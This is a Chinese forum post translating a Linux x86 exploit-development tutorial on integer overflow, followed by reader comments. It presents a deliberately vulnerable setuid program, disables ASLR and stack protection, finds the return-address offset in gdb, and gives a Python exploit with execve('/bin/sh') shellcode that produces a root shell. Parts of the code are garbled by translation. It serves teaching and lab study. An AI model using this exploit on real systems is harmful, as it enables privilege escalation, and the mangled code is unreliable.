首页
社区
课程
招聘
[翻译]Linux (x86) Exploit 开发系列教程之二(整数溢出)
2017-4-5 20:35 9232

[翻译]Linux (x86) Exploit 开发系列教程之二(整数溢出)

2017-4-5 20:35
9232

整数溢出

虚拟机安装:Ubuntu 12.04(x86)

什么是整数溢出?

存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致堆栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。


数据类型大小及范围:


当我们试图存储一个大于最大支持值的值时,我们的值会被包装 。例如,当我们尝试将2147483648存储到带符号的int数据类型时,它将被包装并存储为-21471483648。这被称为整数溢出,这种溢出可能导致任意代码执行


整数下溢


类似地,存储小于最小支持值的值称为整数下溢。例如,当我们尝试将-2147483649存储到带符号的int数据类型时,它将被包装并存储为21471483647.这称为整数下溢。在这里我只会谈论整数溢出,但是这个过程对于下溢也是一样的!

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char * passwd){
}
void validate_uname(char * uname){
}
void validate_passwd(char * passwd){
 char passwd_buf [11];
 unsigned char passwd_len = strlen(passwd); / * [1] * /
 if(passwd_len> = 4 && passwd_len <= 8){/ * [2] * /
  printf(“有效密码\ n”); / * [3] * /
  fflush(stdout);
  strcpy(passwd_buf,passwd); / * [4] * /
 } else {
  printf(“Invalid Password \ n”); / * [5] * /
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); / * [6] * /
}
int main(int argc,char * argv []){
 if(argc!= 3){
  printf(“Usage Error:\ n”);
  fflush(stdout);
  退出(-1);
 }
 validate_uname(argv [1]);
 validate_passwd(argv [2]);
 返回0;
}


编译命令

#echo 0> / proc / sys / kernel / randomize_va_space
$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$ sudo chown root vuln
$ sudo chgrp root vuln
$ sudo chmod + s vuln


上述漏洞代码的[1]行显示了一个整数溢出错误。strlen()的返回类型是size_t(unsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值的值都会导致整数溢出。因此当密码长度为261时,261将被包裹并存储为“passwd_len”变量中的5!由于这个整数溢出,可以绕过行[2]执行的边界检查,从而导致基于堆栈的缓冲区溢出!而且在这篇文章中看到,基于堆栈的缓冲区溢出导致任意的代码执行。

在研究漏洞代码之前,为了更好的理解,我们可以反汇编并绘制出漏洞代码的堆栈布局!

反汇编:

(gdb) disassemble validate_passwd 
Dump of assembler code for function validate_passwd:
 //Function Prologue
 0x0804849e <+0>: push %ebp                               //backup caller's ebp
 0x0804849f <+1>: mov %esp,%ebp                           //set callee's ebp to esp
 0x080484a1 <+3>: push %edi                               //backup edi
 0x080484a2 <+4>: sub $0x34,%esp                          //stack space for local variables
 0x080484a5 <+7>: mov 0x8(%ebp),%eax                      //eax = passwd
 0x080484a8 <+10>: movl $0xffffffff,-0x1c(%ebp)           //String Length Calculation -- Begins here
 0x080484af <+17>: mov %eax,%edx
 0x080484b1 <+19>: mov $0x0,%eax
 0x080484b6 <+24>: mov -0x1c(%ebp),%ecx
 0x080484b9 <+27>: mov %edx,%edi
 0x080484bb <+29>: repnz scas %es:(%edi),%al
 0x080484bd <+31>: mov %ecx,%eax
 0x080484bf <+33>: not %eax
 0x080484c1 <+35>: sub $0x1,%eax                          //String Length Calculation -- Ends here
 0x080484c4 <+38>: mov %al,-0x9(%ebp)                     //passwd_len = al
 0x080484c7 <+41>: cmpb $0x3,-0x9(%ebp)                   //if(passwd_len <= 4 )
 0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98>     //jmp to 0x8048500
 0x080484cd <+47>: cmpb $0x8,-0x9(%ebp)                   //if(passwd_len >=8)
 0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98>      //jmp to 0x8048500
 0x080484d3 <+53>: movl $0x8048660,(%esp)                 //else arg = format string "Valid Password"
 0x080484da <+60>: call 0x80483a0 <puts@plt>              //call puts
 0x080484df <+65>: mov 0x804a020,%eax                     //eax = stdout 
 0x080484e4 <+70>: mov %eax,(%esp)                        //arg = stdout
 0x080484e7 <+73>: call 0x8048380 <fflush@plt>            //call fflush
 0x080484ec <+78>: mov 0x8(%ebp),%eax                     //eax = passwd
 0x080484ef <+81>: mov %eax,0x4(%esp)                     //arg2 = passwd
 0x080484f3 <+85>: lea -0x14(%ebp),%eax                   //eax = passwd_buf
 0x080484f6 <+88>: mov %eax,(%esp)                        //arg1 = passwd_buf
 0x080484f9 <+91>: call 0x8048390 <strcpy@plt>            //call strcpy
 0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123>    //jmp to 0x8048519
 0x08048500 <+98>: movl $0x804866f,(%esp)                 //arg = format string "Invalid Password"
 0x08048507 <+105>: call 0x80483a0 <puts@plt>             //call puts
 0x0804850c <+110>: mov 0x804a020,%eax                    //eax = stdout
 0x08048511 <+115>: mov %eax,(%esp)                       //arg = stdout
 0x08048514 <+118>: call 0x8048380 <fflush@plt>           //fflush
 0x08048519 <+123>: lea -0x14(%ebp),%eax                  //eax = passwd_buf
 0x0804851c <+126>: mov %eax,(%esp)                       //arg = passwd_buf
 0x0804851f <+129>: call 0x8048494                        //call store_passwd_indb
 //Function Epilogue
 0x08048524 <+134>: add $0x34,%esp                        //unwind stack space
 0x08048527 <+137>: pop %edi                              //restore edi
 0x08048528 <+138>: pop %ebp                              //restore ebp
 0x08048529 <+139>: ret                                   //return
End of assembler dump.
(gdb)


堆栈布局:

由于我们已经知道长度为261的密码,所以绕过边界检查,并允许我们覆盖堆栈中的返回地址。让我们通过发送一系列的A来测试它。

测试步骤1:是否可以覆盖返回地址?

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*261'`
Valid Password
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)


测试步骤2:目的缓冲区的偏移量是多少?

这里让我们从缓冲区'passwd_buf'中找出什么偏移返回地址。反汇编并绘制了validate_passwd()的堆栈布局,现在可以尝试找到偏移位置信息!堆栈布局显示返回地址位于缓冲区'passwd_buf'的偏移(0x18)处。0x18计算如下:

0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4


哪里

0xb is ‘passwd_buf’ size
    0x1 is ‘passwd_len’ size
    0x4 is alignment space
    0x4 is edi
    0x4 is caller’s EBP


因此,用户输入的“A” * 24 + “B” * 4 + “C” * 233,以A覆盖passwd_buf,passwd_len,对齐空间,edi和调用者的ebp,以“BBBB”覆盖返回地址,以"C"覆盖剩余空间.

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
(gdb) r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Valid Password
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)


以上输出显示攻击者可以控制返回地址。位于堆栈位置(0xbffff1fc)的返回地址被“BBBB”覆盖。有了这些信息,我们可以编写一个漏洞利用程序来实现任意的代码执行。

攻击代码:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call
arg1 = "sploitfun"
#Stack address where shellcode is copied.
ret_addr = 0xbffff274
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("<I",numunk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108
print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

执行上面的exploit程序,给我们root shell(如下所示):

$ python exp.py 
Calling vulnerable program
Valid Password
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$




阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞2
打赏
分享
最新回复 (14)
雪    币: 341
活跃值: (133)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
地狱怪客 2 2017-4-6 11:05
2
0
太厉害了
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-4-6 14:56
3
0
地狱怪客 太厉害了
你这让我这菜鸟很慌张啊
雪    币: 704
活跃值: (228)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
飞龙使者 4 2017-5-3 10:30
4
0

那个图没问题,是你的梯子挂了。

雪    币: 2440
活跃值: (2312)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gtict 2017-5-25 11:41
5
0
r  sploitfun  `python  -c  'print  &quot;A&quot;*261'`    这句话的sploitfun  是啥意思
雪    币: 2440
活跃值: (2312)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gtict 2017-5-25 11:59
6
0
知道是啥了@@
雪    币: 2440
活跃值: (2312)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gtict 2017-5-25 18:02
7
0
261将被包裹并存储为“passwd_len”变量中的5!    楼主能解析下这是啥意思么。为什么就越位了呢
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-5-25 21:18
8
0
gtict 261将被包裹并存储为“passwd_len”变量中的5! 楼主能解析下这是啥意思么。为什么就越位了呢
unsigned  char  范围0~255,261超过255,就是5了,建议搜索下整数溢出相关知识,
雪    币: 2440
活跃值: (2312)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gtict 2017-5-26 16:30
9
0
hackyzh unsigned char 范围0~255,261超过255,就是5了,建议搜索下整数溢出相关知识,
知道了,,是我理解错误,261对应100000101二进制,取右边八位,填充是左边,我理解是上溢。反向搞反了
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lllion 2018-5-27 20:10
10
0
??攻击代码里那个ret_addr是怎么计算出来的
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Godlike_NN 2018-6-10 21:03
11
0
lllion ??攻击代码里那个ret_addr是怎么计算出来的
ret_addr可以用gdb断点调试找出passwd_buf[0]的地址,ret_addr=&passwd_buf[0]+0x18+4+100.亲测可以
雪    币: 3170
活跃值: (129)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
我是一条咸鱼 2018-8-7 18:53
12
0
楼主,你画的那个图片,passwd_buf[8-11],应该是[8-10]才对吧
最后于 2018-8-7 18:54 被我是一条咸鱼编辑 ,原因:
雪    币: 1849
活跃值: (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
newine 2018-11-1 14:17
13
0
学习了
雪    币: 2337
活跃值: (10053)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
jmpcall 3 2019-2-22 10:43
14
0
gtict r sploitfun `python -c 'print "A"*261'` 这句话的sploitfun 是啥意思
是指用sploitfun的用户身份执行吗?
雪    币: 2337
活跃值: (10053)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
jmpcall 3 2019-2-22 10:52
15
0
xinpoo 是指用sploitfun的用户身份执行吗?
argv[1]
游客
登录 | 注册 方可回帖
返回